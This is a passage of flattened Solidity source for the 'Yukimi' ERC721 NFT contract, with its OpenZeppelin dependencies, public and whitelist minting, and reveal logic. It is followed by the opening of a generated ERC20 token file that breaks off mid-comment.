require(_status != _ENTERED, "ReentrancyGuard: reentrant call");
// Any calls to nonReentrant after this point will fail
_status = _ENTERED;
_;
// By storing the original value once again, a refund is triggered (see
// https://eips.ethereum.org/EIPS/eip-2200)
_status = _NOT_ENTERED;
}
}
// File: @openzeppelin/contracts/utils/Strings.sol
// OpenZeppelin Contracts v4.4.1 (utils/Strings.sol)
pragma solidity ^0.8.11;
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
// File: @openzeppelin/contracts/utils/Context.sol
// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)
pragma solidity ^0.8.11;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// File: @openzeppelin/contracts/access/Ownable.sol
// OpenZeppelin Contracts v4.4.1 (access/Ownable.sol)
pragma solidity ^0.8.11;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_transferOwnership(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Internal function without access restriction.
*/
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
// File: @openzeppelin/contracts/utils/Address.sol
// OpenZeppelin Contracts v4.4.1 (utils/Address.sol)
pragma solidity ^0.8.11;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// File: @openzeppelin/contracts/token/ERC721/IERC721Receiver.sol
// OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721Receiver.sol)
pragma solidity ^0.8.11;
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
// File: @openzeppelin/contracts/utils/introspection/IERC165.sol
// OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol)
pragma solidity ^0.8.11;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// File: @openzeppelin/contracts/utils/introspection/ERC165.sol
// OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol)
pragma solidity ^0.8.11;
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
// File: @openzeppelin/contracts/token/ERC721/IERC721.sol
// OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721.sol)
pragma solidity ^0.8.11;
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
// File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Enumerable.sol
// OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Enumerable.sol)
pragma solidity ^0.8.11;
/**
* @title ERC-721 Non-Fungible Token Standard, optional enumeration extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Enumerable is IERC721 {
/**
* @dev Returns the total amount of tokens stored by the contract.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns a token ID owned by `owner` at a given `index` of its token list.
* Use along with {balanceOf} to enumerate all of ``owner``'s tokens.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId);
/**
* @dev Returns a token ID at a given `index` of all the tokens stored by the contract.
* Use along with {totalSupply} to enumerate all tokens.
*/
function tokenByIndex(uint256 index) external view returns (uint256);
}
// File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol
// OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol)
pragma solidity ^0.8.11;
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
// File: contracts/Yukimi/ERC721M.sol
pragma solidity ^0.8.10;
abstract contract ERC721M is Context, ERC165, IERC721, IERC721Metadata {
using Address for address;
string private _name;
string private _symbol;
address[] internal _owners;
mapping(uint256 => address) private _tokenApprovals;
mapping(address => mapping(address => bool)) private _operatorApprovals;
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return
interfaceId == type(IERC721).interfaceId ||
interfaceId == type(IERC721Metadata).interfaceId ||
super.supportsInterface(interfaceId);
}
function balanceOf(address owner) public view virtual override returns (uint256) {
require(owner != address(0), "ERC721: balance query for the zero address");
uint count = 0;
uint length = _owners.length;
for( uint i = 0; i < length; ++i ){
if( owner == _owners[i] ){
++count;
}
}
delete length;
return count;
}
function ownerOf(uint256 tokenId) public view virtual override returns (address) {
address owner = _owners[tokenId];
require(owner != address(0), "ERC721: owner query for nonexistent token");
return owner;
}
function name() public view virtual override returns (string memory) {
return _name;
}
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
function approve(address to, uint256 tokenId) public virtual override {
address owner = ERC721M.ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(
_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
function getApproved(uint256 tokenId) public view virtual override returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
function setApprovalForAll(address operator, bool approved) public virtual override {
require(operator != _msgSender(), "ERC721: approve to caller");
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_transfer(from, to, tokenId);
}
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public virtual override {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_safeTransfer(from, to, tokenId, _data);
}
function _safeTransfer(
address from,
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_transfer(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return tokenId < _owners.length && _owners[tokenId] != address(0);
}
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
require(_exists(tokenId), "ERC721: operator query for nonexistent token");
address owner = ERC721M.ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender));
}
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
function _safeMint(
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_mint(to, tokenId);
require(
_checkOnERC721Received(address(0), to, tokenId, _data),
"ERC721: transfer to non ERC721Receiver implementer"
);
}
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_owners.push(to);
emit Transfer(address(0), to, tokenId);
}
function _burn(uint256 tokenId) internal virtual {
address owner = ERC721M.ownerOf(tokenId);
_beforeTokenTransfer(owner, address(0), tokenId);
// Clear approvals
_approve(address(0), tokenId);
_owners[tokenId] = address(0);
emit Transfer(owner, address(0), tokenId);
}
function _transfer(
address from,
address to,
uint256 tokenId
) internal virtual {
require(ERC721M.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own");
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
// Clear approvals from the previous owner
_approve(address(0), tokenId);
_owners[tokenId] = to;
emit Transfer(from, to, tokenId);
}
function _approve(address to, uint256 tokenId) internal virtual {
_tokenApprovals[tokenId] = to;
emit Approval(ERC721M.ownerOf(tokenId), to, tokenId);
}
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
if (to.isContract()) {
try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
return retval == IERC721Receiver.onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert("ERC721: transfer to non ERC721Receiver implementer");
} else {
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual {}
}
// File: contracts/Yukimi/ERC721Enum.sol
pragma solidity ^0.8.10;
abstract contract ERC721Enum is ERC721M, IERC721Enumerable {
function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721M) returns (bool) {
return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId);
}
function tokenOfOwnerByIndex(address owner, uint256 index) public view override returns (uint256 tokenId) {
require(index < ERC721M.balanceOf(owner), "ERC721Enum: owner ioob");
uint count;
for( uint i; i < _owners.length; ++i ){
if( owner == _owners[i] ){
if( count == index )
return i;
else
++count;
}
}
require(false, "ERC721Enum: owner ioob");
}
function tokensOfOwner(address owner) public view returns (uint256[] memory) {
require(0 < ERC721M.balanceOf(owner), "ERC721Enum: owner ioob");
uint256 tokenCount = balanceOf(owner);
uint256[] memory tokenIds = new uint256[](tokenCount);
for (uint256 i = 0; i < tokenCount; i++) {
tokenIds[i] = tokenOfOwnerByIndex(owner, i);
}
return tokenIds;
}
function totalSupply() public view virtual override returns (uint256) {
return _owners.length;
}
function tokenByIndex(uint256 index) public view virtual override returns (uint256) {
require(index < ERC721Enum.totalSupply(), "ERC721Enum: global ioob");
return index;
}
}
// File: contracts/Yukimi.sol
pragma solidity ^0.8.11;
contract Yukimi is ERC721Enum, Ownable, ReentrancyGuard {
using Strings for uint256;
string private baseURI;
bool public revealed = false;
string public baseExtension =".json";
string public notRevealedUri;
uint256 public reserved = 100;
uint256 public cost = 0.07 ether;
uint256 public maxSupply = 7777;
uint256 public maxMint = 8;
bool public publicSaleOpen = false; // Sale is not active
bool public preSaleIsActive = false; // Presale is not active
bytes32 public merkleRoot = "";
mapping(address => uint) public whitelistRemaining;
mapping(address => bool) public whitelistClaimed;
uint256 public constant maxMintAmount = 4;
event Mint(address indexed owner, uint indexed tokenId);
constructor(
string memory _initBaseURI,
string memory _initNotRevealedUri)
ERC721M("Yukimi", "DOJO") {
setBaseURI(_initBaseURI);
setNotRevealedURI(_initNotRevealedUri);
}
function _baseURI() internal view virtual returns (string memory) {
return baseURI;
}
// Sale active/inactive
function setPublicSale(bool val) public onlyOwner {
publicSaleOpen = val;
}
function setPreSale(bool val) public onlyOwner {
preSaleIsActive = val;
}
function mint(uint256 amount) public payable nonReentrant{
require(publicSaleOpen, "Sale is not Active" );
uint256 s = totalSupply();
require(amount > 0, "need to mint at least 1" );
require(amount <= maxMint, "max mint amount per session exceeded");
require(s + amount <= maxSupply, "max NFT limit exceeded" );
require(msg.value >= cost * amount, "Value is over or under price.");
for (uint256 i = 0; i < amount; ++i) {
_safeMint(msg.sender, s + i, "");
}
}
function mintReserved(uint256 _amount) public onlyOwner {
require( _amount <= reserved, "Can't reserve more than set amount" );
reserved -= _amount;
uint256 s = totalSupply();
for(uint256 i; i < _amount; i++){
_safeMint( msg.sender, s + i );
}
delete s;
}
function whitelistMint(uint amount, bytes32 leaf, bytes32[] memory proof) external payable {
require(preSaleIsActive, "Sale is not Active" );
require(keccak256(abi.encodePacked(msg.sender)) == leaf, "Sender and amount don't match Merkle leaf");
require(verify(merkleRoot, leaf, proof), "Not a valid leaf in the Merkle tree");
uint256 s = totalSupply();
require(s + amount <= maxSupply, "Sold out");
require(amount <= maxMintAmount, "Surpasses maxMintAmount");
require(amount > 0, "Can't mint zero");
require(msg.value == amount * cost, "Send proper ETH amount");
require(whitelistRemaining[msg.sender] + amount <= maxMintAmount, "Can't mint more than remaining allocation");
whitelistRemaining[msg.sender] += amount;
for (uint256 i = 0; i < amount; ++i) {
_safeMint(msg.sender, s + i, "");
}
}
function verify(bytes32 _merkleRoot, bytes32 leaf, bytes32[] memory proof) public pure returns (bool) {
return MerkleProof.verify(proof, _merkleRoot, leaf);
}
function reveal() public onlyOwner() {
revealed = true;
}
function tokenURI(uint256 tokenId)
public
view
virtual
override
returns (string memory)
{
require(
_exists(tokenId),
"ERC721Metadata: URI query for nonexistent token"
);
if(revealed == false) {
return notRevealedUri;
}
string memory currentBaseURI = _baseURI();
return bytes(currentBaseURI).length > 0
? string(abi.encodePacked(currentBaseURI, tokenId.toString(), baseExtension))
: "";
}
function setNotRevealedURI(string memory _notRevealedURI) public onlyOwner {
notRevealedUri = _notRevealedURI;
}
function setBaseURI(string memory _newBaseURI) public onlyOwner {
baseURI = _newBaseURI;
}
function setCost(uint256 _newCost) public onlyOwner {
cost = _newCost;
}
function setMaxMintAmount(uint256 _newMaxMintAmount) public onlyOwner {
maxMint = _newMaxMintAmount;
}
function setmaxSupply(uint256 _newMaxSupply) public onlyOwner {
maxSupply = _newMaxSupply;
}
function setMerkleRoot(bytes32 _merkleRoot) public onlyOwner {
merkleRoot = _merkleRoot;
}
function withdraw() public payable onlyOwner {
(bool yk, ) = payable(owner()).call{value: address(this).balance}("");
require(yk);
}
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|
// SPDX-License-Identifier: MIT
/*
* Token has been generated for FREE using https://vittominacori.github.io/erc20-generator/
*
* NOTE: "Contract Source Code Verified (Similar Match)" means that this Token is similar to other tokens deployed
* using the same generator. It is not an issue. It means that you won't need to verify your source code because of
* it is already verified.
*
* DISCLAIMER: GENERATOR'S AUTHOR IS FREE OF ANY LIABILITY REGARDING THE TOKEN AND THE USE THAT IS MADE OF IT.
* The following code is provided under MIT License. Anyone can use it as per their needs.
* The generator's purpose is to make people able to tokenize their ideas without coding or paying for it.
* Source code is well tested and continuously updated to reduce risk of bugs and to introduce language optimizations.
* Anyway the purchase of tokens involves a high degree of risk. Before acquiring tokens, it is recommended to
* carefully weighs all the information and risks detailed in Token owner's Conditions.
*/
// File: @openzeppelin/contracts/token/ERC20/IERC20.sol
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: @openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol
pragma solidity ^0.8.0;
/**
* @dev Interface for the optional metadata functions from the ERC20 standard.
*
* _Available since v4.1._
*/
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
// File: @openzeppelin/contracts/utils/Context.sol
pragma solidity ^0.8.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// File: @openzeppelin/contracts/token/ERC20/ERC20.sol
pragma solidity ^0.8.0;
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
